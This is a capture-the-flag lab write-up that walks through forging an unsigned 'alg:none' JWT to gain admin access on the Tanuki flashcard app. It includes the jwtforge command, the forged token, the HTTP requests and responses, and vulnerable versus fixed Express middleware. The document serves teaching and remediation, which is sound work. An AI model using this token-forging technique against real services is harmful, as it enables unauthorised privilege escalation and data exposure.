Tanuki: JWT None-Algorithm Bypass
Overview
- Platform: BugForge
- Vulnerability: JWT None-Algorithm Bypass leading to admin privilege escalation
- Key Technique: Forging an unsigned JWT with
alg:"none"andtype:"admin"to bypass server-side admin middleware - Result: Full admin access to all CRUD endpoints; flag captured from admin user’s
full_namefield
Objective
Find and exploit vulnerabilities in the Tanuki flashcard application to capture the flag.
Initial Access
# Target Application
URL: https://lab-1775603012933-dt1i22.labs-app.bugforge.io
# Auth details
Registered user: haxor (ID 4, type: user)
Auth mechanism: JWT HS256 (payload: {id, username, type, iat})
Key Findings
- JWT None-Algorithm Bypass to Admin Access (CWE-345: Insufficient Verification of Data Authenticity) — The server accepts JWTs with
alg:"none"(no signature verification). An attacker can forge a token with an arbitrarytypeclaim (e.g.,"admin") and the server’s admin middleware trusts the unverified payload. This grants full access to all admin CRUD endpoints: user management, deck management, and card management.
Attack Chain Visualization
┌──────────────────┐ ┌─────────────────────┐ ┌──────────────────────┐
│ Register user │ │ Map API surface │ │ Test admin │
│ (haxor, ID 4) │────>│ via traffic capture │────>│ endpoints → 403 │
└──────────────────┘ └─────────────────────┘ └──────────┬───────────┘
│
┌──────────────────────┐ │
│ Mass assignment on │<──────────────┘
│ register (role/type) │
│ → both ignored │
└──────────┬───────────┘
│
v
┌──────────────────────┐
│ IDOR on /api/stats │
│ (path + query param) │
│ → user from JWT only │
└──────────┬───────────┘
│
v
┌──────────────────────┐ ┌──────────────────────┐
│ Forge JWT with │ │ GET /api/admin/users │
│ alg:none + type:admin│────>│ → 200 OK, full user │
│ using jwtforge │ │ list + flag in admin │
└──────────────────────┘ │ full_name field │
└──────────────────────┘
Application Architecture
| Component | Detail | Description |
|---|---|---|
| Frontend | React SPA (Material UI) | Japanese-themed flashcard/SRS study interface |
| Backend | Express/Node.js | REST API with JWT authentication |
| Auth | JWT HS256 | Token payload: {id, username, type, iat} |
| Admin check | Middleware | Reads type field from JWT payload, requires "admin" |
| Naming quirk | Dual field names | JWT uses type, database uses role — same concept, different names |
Exploitation Path
Step 1: Reconnaissance — Map the API Surface
Registered an account (haxor, assigned ID 4) and captured traffic to enumerate all API endpoints. The application is a spaced-repetition flashcard study tool with deck management, study sessions, and progress tracking.
Key endpoints discovered:
POST /api/register— Returns JWT + user objectPOST /api/login— Returns JWT + user objectGET /api/verify-token— Validates JWT, returns{id, username, email, full_name, role}GET /api/decks,GET /api/study/:deckId/cards,GET /api/stats— User-facing study endpointsGET/POST/PUT/DELETE /api/admin/users— Admin user CRUDGET/POST/PUT/DELETE /api/admin/decks— Admin deck CRUDGET/POST/PUT/DELETE /api/admin/cards— Admin card CRUD
Key observations:
- JWT payload uses
type(notrole) — butverify-tokenresponse returnsrolefrom the database - Admin middleware checks the JWT
typefield for"admin" - Sequential user IDs — seed users at IDs 1-3 (admin, learner, student), our registration got ID 4
Step 2: Test Admin Access (Dead End)
Attempted direct access to admin endpoints with our regular user JWT:
GET /api/admin/users HTTP/1.1
Host: lab-1775603012933-dt1i22.labs-app.bugforge.io
Authorization: Bearer <jwt-for-user-4>
Response: 403 Forbidden — {"error":"Admin access required"}
Server-side admin middleware is enforced. The admin check reads the type field from the JWT and rejects anything other than "admin".
Step 3: Mass Assignment Attempts (Dead End)
Tried injecting both role and type fields during registration to escalate privileges at account creation:
POST /api/register HTTP/1.1
Content-Type: application/json
{"username":"haxor2","email":"h2@test.com","password":"pass","full_name":"","role":"admin"}
Result: 200 OK, but JWT still has type:"user" — the role field was ignored.
POST /api/register HTTP/1.1
Content-Type: application/json
{"username":"haxor3","email":"h3@test.com","password":"pass","full_name":"","type":"admin"}
Result: 200 OK, JWT still has type:"user" — the type field was also ignored. Server explicitly sets type:"user" during registration regardless of input. Mass assignment path closed.
Step 4: IDOR on Stats Endpoint (Dead End)
Tested whether the stats endpoint would accept other users’ IDs:
GET /api/stats/1 HTTP/1.1
Authorization: Bearer <jwt-for-user-4>
Result: 200 but returned the SPA HTML (catch-all route) — no /api/stats/:id route exists on this version of the app. The stats endpoint identifies users exclusively from the JWT.
Also tried query parameter injection:
GET /api/stats?user_id=1 HTTP/1.1
Authorization: Bearer <jwt-for-user-4>
Result: 200 OK — returned our own stats. Query parameter ignored.
Note: This is a different version of the Tanuki app than the one with the IDOR vulnerability (see the 2026-03-31 writeup). The stats endpoint was redesigned to derive the user from the JWT only.
Step 5: JWT None-Algorithm Bypass (Flag Captured)
With mass assignment and IDOR ruled out, the remaining attack surface was the JWT itself. The none algorithm attack targets servers that fail to reject unsigned tokens.
Forged a JWT with alg:"none" and type:"admin" using jwtforge:
jwtforge -p '{"id":4,"username":"haxor","type":"admin","iat":1775603032}' -a none
This produces a token with structure:
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJpZCI6NCwidXNlcm5hbWUiOiJoYXhvciIsInR5cGUiOiJhZG1pbiIsImlhdCI6MTc3NTYwMzAzMn0.
Note the trailing dot — the signature section is empty because no signing occurs.
Sent the forged token to the admin users endpoint:
GET /api/admin/users HTTP/1.1
Host: lab-1775603012933-dt1i22.labs-app.bugforge.io
Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJpZCI6NCwidXNlcm5hbWUiOiJoYXhvciIsInR5cGUiOiJhZG1pbiIsImlhdCI6MTc3NTYwMzAzMn0.
Response: 200 OK — full user list returned:
[
{"id":1,"username":"admin","email":"admin@tanuki.local","full_name":"bug{43IHebiCYIXCEyIWXQ7XE22LXa4QLdtZ}","role":"admin"},
{"id":2,"username":"learner","email":"learner@tanuki.local","full_name":"Eager Learner","role":"user"},
{"id":3,"username":"student","email":"student@tanuki.local","full_name":"Study Student","role":"user"},
{"id":4,"username":"haxor","email":"test@test.com","full_name":"","role":"user"}
]
The server accepted the unsigned JWT, read type:"admin" from the unverified payload, and granted full admin access. The flag was in the admin user’s full_name field.
Flag / Objective Achieved
bug{43IHebiCYIXCEyIWXQ7XE22LXa4QLdtZ}
Obtained from the admin user’s full_name field via GET /api/admin/users after forging an unsigned JWT with admin privileges.
Key Learnings
- The
nonealgorithm is JWT’s original sin — The JWT specification includesalg:"none"as a valid algorithm, meaning “no digital signature or MAC”. Libraries that don’t explicitly reject it will happily decode the payload without any verification. The server trusted the claims in the JWT body despite having zero cryptographic proof of their integrity. - Dual naming between JWT claims and database columns is a code smell — The JWT used
typewhile the database storedrole. This kind of inconsistency suggests the JWT handling and user model were developed separately, which increases the risk of validation gaps. The admin middleware checked JWTtypebut never cross-referenced the databaserole. - Always test JWT algorithm manipulation early — When mass assignment and IDOR failed, the JWT itself became the target. Algorithm confusion attacks (
none, RS256-to-HS256, etc.) should be part of the standard testing checklist whenever JWT auth is in play. - Custom tools accelerate testing —
jwtforgemade the none-algorithm attack a one-liner. Having purpose-built tooling for common attack patterns reduces friction and keeps focus on the vulnerability logic rather than token encoding mechanics.
Failed Approaches
| Approach | Result | Why It Failed |
|---|---|---|
| Direct admin endpoint access | 403 “Admin access required” | Server-side middleware enforces type:"admin" check on JWT |
Mass assignment on register (role:"admin") |
200, JWT still type:"user" |
Server ignores role field on registration input |
Mass assignment on register (type:"admin") |
200, JWT still type:"user" |
Server explicitly sets type:"user" regardless of input |
| IDOR on /api/stats/:id (path param) | 200 HTML (SPA catch-all) | No path-based stats route exists in this app version |
| IDOR on /api/stats?user_id=1 (query param) | 200, own stats returned | Stats endpoint derives user exclusively from JWT |
Tools Used
| Tool | Purpose |
|---|---|
| Caido | HTTP interception, request replay, endpoint enumeration |
| jwtforge | Forging unsigned JWT with alg:"none" and type:"admin" |
| Browser DevTools | Traffic capture and response inspection |
Remediation
1. JWT None-Algorithm Bypass (CVSS: 9.8 - Critical)
Issue: The server’s JWT verification accepts tokens with alg:"none", allowing attackers to forge arbitrary claims without any cryptographic signature. Combined with the admin middleware trusting the JWT type claim, this grants unauthenticated admin access to all protected endpoints.
CWE Reference: CWE-345 - Insufficient Verification of Data Authenticity
CVSS v3.1 Vector: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H — Network-accessible, no special conditions, no privileges required (just register an account), complete compromise of confidentiality and integrity through full admin access.
// BEFORE (Vulnerable) — accepts any algorithm including "none"
const jwt = require('jsonwebtoken');
app.use('/api/admin', (req, res, next) => {
const token = req.headers.authorization?.split(' ')[1];
const decoded = jwt.verify(token, SECRET_KEY); // "none" bypasses verification
if (decoded.type !== 'admin') {
return res.status(403).json({ error: 'Admin access required' });
}
req.user = decoded;
next();
});
// AFTER (Secure) — explicit algorithm allowlist
const jwt = require('jsonwebtoken');
app.use('/api/admin', (req, res, next) => {
const token = req.headers.authorization?.split(' ')[1];
try {
const decoded = jwt.verify(token, SECRET_KEY, {
algorithms: ['HS256'] // Only accept HS256 — rejects "none" and all others
});
if (decoded.type !== 'admin') {
return res.status(403).json({ error: 'Admin access required' });
}
req.user = decoded;
next();
} catch (err) {
return res.status(401).json({ error: 'Invalid token' });
}
});
Additional hardening:
- Use the
algorithmsoption on everyjwt.verify()call, not just admin middleware - Consider checking the database
rolein addition to the JWTtypeclaim for defense in depth - Align the naming: use a single field name (
role) in both the JWT and database to reduce confusion - Upgrade to a JWT library version that rejects
alg:"none"by default (most modern versions do)
OWASP Top 10 Coverage
- A02:2021 - Cryptographic Failures — The server accepts unsigned JWTs (
alg:"none"), completely bypassing the cryptographic integrity check that JWT signatures are designed to provide - A07:2021 - Identification and Authentication Failures — The admin privilege check trusts an unverified JWT claim, allowing authentication/authorization bypass through token forgery